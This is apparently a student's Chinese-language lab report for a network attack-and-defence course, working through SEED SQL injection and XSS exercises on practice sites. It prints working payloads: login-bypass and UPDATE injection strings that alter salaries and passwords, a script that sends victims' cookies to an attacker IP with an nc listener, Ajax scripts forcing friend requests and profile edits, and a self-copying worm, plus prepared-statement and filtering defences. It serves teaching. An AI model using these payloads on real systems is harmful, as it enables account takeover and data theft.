20211901 2021-2022-2《网络攻防实践》第十次作业

1.实验内容

1.1Web应用程序体系结构及其安全威胁

1.1.1Web应用体系结构

传统的Web数据库系统一般实现Web数据库系统的连接和应用可采取两种方法,一种是在Web服务器端提供中间件来连接Web服务器和数据库服务器,另一种是把应用程序下载到客户端并在客户端直接访问数据库。中间件负责管理Web服务器和数据库服务器之间的通信并提供应用程序服务,它能够直接调用外部程序或脚本代码来访问数据库,因此可以提供与数据库相关的动态HTML页面,或执行用户查询,并将查询结果格式化成HTML页面。通过Web服务器返回给Web浏览器。最基本的中间件技术有通过网关接口CGI和应用程序接口API两种。

web数据库
Web数据库指在互联网中以Web查询接口方式访问的数据库资源。促进Internet发展的因素之一就是Web技术。由静态网页技术的HTML到动态网页技术的CGI、ASP、PHP、JSP等,Web技术经历了一个重要的变革过程。Web已经不再局限于仅仅由静态网页提供信息服务,而改变为动态的网页,可提供交互式的信息查询服务,使信息数据库服务成为了可能。Web数据库就是将数据库技术与Web技术融合在一起,使数据库系统成为Web的重要有机组成部分,从而实现数据库与网络技术的无缝结合。这一结合不仅把Web与数据库的所有优势集合在了一起,而且充分利用了大量已有数据库的信息资源。Web数据库由数据库服务器(Database Server)、中间件(Middle Ware)、Web服务器(Web Server)、浏览器(Browser)4部分组成。它的工作过程可简单地描述成:用户通过浏览器端的操作界面以交互的方式经由Web服务器来访问数据库。用户向数据库提交的信息以及数据库返回给用户的信息都是以网页的形式显示。

web传输协议
web使用“HTTP”或“HTTPS”协议进行信息传送。HTTP协议指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应;而HTTPS协议是以安全为目标的HTTP通道,在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。

1.1.2Web应用安全威胁

注入漏洞

如果您的Web应用允许用户将其输入的信息插入后端数据库,或使用shell命令对操作系统进行调用,那么您的应用就可能会受到注入漏洞的影响。当然,您可以通过检查应用的源代码,或对应用进行彻底的渗透测试,来发现此类漏洞。注入漏洞最常见的类型是SQL注入。攻击者会在SQL查询中,插入恶意代码,并将其转发到后端数据库服务器上,实施远程盗窃或攻击。

身份验证失败

身份验证失败是由身份验证和会话管理控件的实施不当而引起的。如果攻击者能够成功地识别和利用那些与身份验证相关的漏洞,那么他们就能直接访问到各种敏感数据和功能。

敏感数据泄漏

当Web应用不能充分保护诸如:会话ID、密码、财务信息、以及客户数据等敏感信息时,数据泄露就会发生。此类泄漏的内部原因主要包括:未对敏感数据实施加密,仅采用了弱加密方式,软件应用的本身漏洞,以及操作员将数据上传至错误的数据库等方面。而外部攻击因素则包括:SQL注入、身份验证与访问控制的破坏、网络钓鱼攻击、以及针对明文协议HTTP、FTP和SMTP传输数据等网络级别的攻击。

XML外部实体

XML外部实体注入(通常被称为XML External Entity,XXE)可以让攻击者通过Web应用的漏洞,干扰应用对于XML数据的处理。此类攻击往往会导致诸如拒绝服务、数据泄露、服务器端请求伪造等问题。

受损的访问控制

从概念上说,访问控制机制就是要确定用户是否可以执行,与之身份和权限相符的操作。而当用户可以在其预期权限之外执行某项操作时,那么就出现了访问控制的破坏。受损的访问控制通常会导致:未经授权的信息泄露、数据被直接修改或破坏、以及业务功能偏离预期用途等情况。我们可以通过在受信任的服务器端代码中、或无服务器的API中,强制使用完备的访问控制机制,来防止攻击者修改元数据(metadata),或绕过正常的访问控制检查。

1.1.2 SQL注入

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示:
query="SELECT ∗ FROM users WHERE id = query=" SELECT*FROM users WHERE id=query="SELECT∗FROMusersWHEREid=_GET [‘id’] ";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。当然,SQL注入主要原因是程序员在开发用户和数据库的系统时没有对用户输入的字符串进行过滤、转义、限制或处理不严谨,导致攻击者可以通过精心构造的字符串去非法获取到数据库中的数据。SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

1.1.3 XSS攻击

跨站脚本攻击(Cross-site scripting,XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。根据开放式 Web 应用安全项目(OWASP),XSS 在 2017 年被认为 7 种最常见的 Web 应用程序漏洞之一。如果 Web 应用程序没有部署足够的安全验证,那么,这些攻击很容易成功。浏览器无法探测到这些恶意脚本是不可信的,所以,这些脚本可以任意读取 cookie,session tokens,或者其它敏感的网站信息,或者让恶意脚本重写HTML内容。

2.实验过程

2.1SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

①输入指令sudo service apache2 start启动Apache服务,然后输入指令sudo systemctl status apache2检查是否启动服务成功

②输入指令mysql -uroot -p登录数据库,输入指令use User和show tables;来查看该数据库下的表

③输入指令:select * from credential查询表中员工的一些信息,

④此时我们可以用一下查询操作查具体某个人的信息,比如输入指令:select * from credential where Name = 'Boby'来找员工姓名为Samy的这个人的所有信息。

2.1.2 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
①首先打开网址为www.SEEDLabSQLInjection.com的web网站

②在终端中输入指令:vim /var/www/SQLInjection/unsafe_home.php打开文件查看源代码,打开后界面如下。

如果是一个普通用户

如果是一个管理员登录

③接下来我们对登录的流程细节进行分析:当管理员输入用户名和密码后,网站对应的sql语句获取输入框中的内容,然后把密码进行hash运算,如果经过运算后的值与数据库中保存的值一致,那么系统就认为登录成功。对应的语句为select *from where Name='admin' and Password =hash('pwd'),如果我们想在不知道密码的情况下就能登录系统就能够登录系统,那么我们就要想办法让系统忽略掉我们的密码输入。办法是用#注释掉我们输入的密码,所以我们输入的username字段为Admin‘#,Password字段为任意值,就变成了select *from where Name='admin ' #' and Password =hash('pwd'),这样就达到了欺骗服务器,成功登录系统的目的。

④我们也可以用命令行完成管理员登录,在终端中输入指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'这里的%27%20%23是对特殊字符进行转义,其中单引号:%27,空格:%20,#:%23.显示登录成功

2.1.3对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
①输入指令vim /var/www/SQLInjection/unsafe_edit_backend.php查看这个网站对应的后台代码,可以看到代码的注释中已经标注了这个网站对于SQL注入攻击是不安全的,即许员工更新的信息包括:昵称、电子邮件、地址、电话号码和密码等。

②修改Ted的工资和生日,我们首先登录Ted的账户,登录方法和上述登录管理员的方法一样,登录后可以看到Ted

③我们可以利用SQL注入漏洞修改系统里的薪水和生日,NickName或Email或Adress输入', salary=’20211901’, birth='12/29' where EID = '50000';# 然后点击save,此时可以看到Ted的薪酬和生日被修改

④修改Ted的密码。我们再来看后台的代码,可以看出,密码是经过了sha1函数进行加密存储的

我们用指令echo -n '20211901jxy' | sha1sum,获取20211901jxy的sha1函数值,可以得到值为c28e78ba326ce4bbd1ad536a9492dff8c3b69bdb

接下来我们登录Ted的账户,在NIckName中输入指令
', Password = 'c28e78ba326ce4bbd1ad536a9492dff8c3b69bdb' where Name = 'Ted';#然后我们就可以以20211901jxy作为密码去登录Ted的账户了

2.1.4 SQL对抗
SQL注入漏洞的根本原因是将代码和数据放在一起了,所以我们需要将他们区分开来。先使用占位符占位,获取到数据之后再进行填充,就可以避免注入攻击
①首先我们来修改unsafe_home.php 页面

对于图中这个SQL语句,我们可以这样修改

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");//传递参数给数据库引擎
$sql->execute(); //执行
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);//绑定结果集(变量指向的是内存地址)
$sql->fetch();//输出结果集
$sql->close();//关闭

②修改unsafe_edit_backend.php页面

上图中红框部分的代码应该修改为

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.2.1发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
①打开火狐浏览器中的XSS Lab Site,可进入网站www.xsslabelgg.com 然后输入账号:Alice,和密码:seedalice登录,然后点击头像处选择Edit profile

②在Brief description文本框输入 <script>alert('xss');</script>,点击Save,这时就可以弹出XSS的提示框

2.2.2弹窗显示cookie信息:将cookie信息显示。
在Brief description文本框中的js代码输入为<script> alert(document.cookie);</script>然后点击save,这时页面会弹出提示框,显示当前cookie 信息

2.2.3窃取受害者的cookies:将cookie发送给攻击者。

①获取虚拟机的Ip地址,也就是作为攻击机的ip地址,ip地址为222.28.136.203

②将Brief description中的代码修改为:
<script>document.write('<img src=http://222.28.136.203:5555?c='+escape(document.cookie) + ' >');</script>然后点击save. 在这里我们是将src设置为5555号端口(也可以选择其他端口),然后将cookie返回给攻击者

③登录用户Boby的账号,密码为seedboby

④登录之后在终端输入指令nc -l 5555 -v监听5555端口,接下来我们找到member,Alice的账户profile就能够得到boby的cookie信息。

2.2.4成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
①我们用Alice的账号进行登录,登陆后访问Boby的主页,添加Boby为好友,可以看到在这个过程中登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友

②可以看到在这个过程中浏览器发送的 POST 请求的地址为
http://www.xsslabelgg.com/action/friends/add?friend=45&_elgg_ts=1653165812&elgg_token=e5eUxAdwVVXrfod-08RPXw

③构造如下的脚本:

<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
 
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
 
     //发送 Ajax 请求
     Ajax = new XMLHttpRequest();
     Ajax.open("GET", sendurl, true);
     Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
     Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
     Ajax.send();
}
</script>

将此代码放在alice的 About me 文本框中

④再登录Boby的账号,访问Alice的主页,然后我们再返回Boby的主页,这时我们可以发现已经添加Alice为好友了

2.2.5修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
①与2.2.4步骤的思路一样,要修改受害者信息,我们可以首先看看修改资料时数据是怎么流动的

②根据参数构造如下代码


<script type="text/javascript">

    window.onload = function(){

//JavaScript code to access user name, user guid, Time Stamp __elgg_ts

//and Security Token __elgg_token

    var userName=elgg.session.user.name;

    var guid="&guid="+elgg.session.user.guid;

    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

    var token="&__elgg_token="+elgg.security.token.__elgg_token;

 
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;

 
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

    var samyGuid=44;

    if(elgg.session.user.guid!=samyGuid){

    //Create and send Ajax request to modify profile

    var Ajax=null;

    Ajax=new XMLHttpRequest();

    Ajax.open("POST",sendurl,true);

        Ajax.setRequestHeader("Host","www.xsslabelgg.com");

        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Ajax.send(content);

}

}

</script>

③将第二步编写的代码放在Alice的about me文本框中,然后用boby访问Alice的主页,然后再看boby的简介,也会被修改

2.2.6编写XSS蠕虫
①根据蠕虫的特性,我们知道要实现将代码自动复制到其他用户那里,使用DOM API的方法,文档对象模型,将Web页面和脚本或程序语言连接起来。

<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>

②将上述编写的代码放在Alice的about me文本框中,这样当其他用户访问Alice时,就会被感染蠕虫病毒

③登录boby的账号去访问Alice,发现编写的代码被复制成功,说明攻击生效

2.2.7.对抗XSS攻击
登录管理员账号admin,密码为seedelgg,然后点击Account->administration->plugins,选择HTMLawed插件,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。即可对抗XSS攻击

3.学习中遇到的问题及解决

  • 问题1:输入SQL指令的时候,显示不成功

  • 问题1解决方案:末尾需加上分号。

  • 问题2:对UPDATE语句的SQL注入攻击中,修改Ted的薪酬和生日信息时,找不到左上方的Edit Profile按钮

  • 问题2解决方案:这个需要把界面缩小一下,缩小之后就可以了

  • 问题3:将代码放在about me 文本框后攻击不成功

  • 问题3解决方案:需要将输入框右上角的Edit HTML改成Visual editor,然后重新写入代码即可

4.学习感悟、思考等

本次实验涉及到html网站的一些知识,虽然之前有学过,但是很久没用过了,这次实验也算是一个温习。本次实验的SQL注入攻击和CSS攻击让我觉得很有收获,通过实验我了解和掌握了这两种攻击的原理和技术实现,以后有时间我也会再实现一下CSRF攻击。

参考资料

posted @ 2022-05-22 17:37  只喝凉白开无糖拿铁  阅读(155)  评论(0编辑  收藏  举报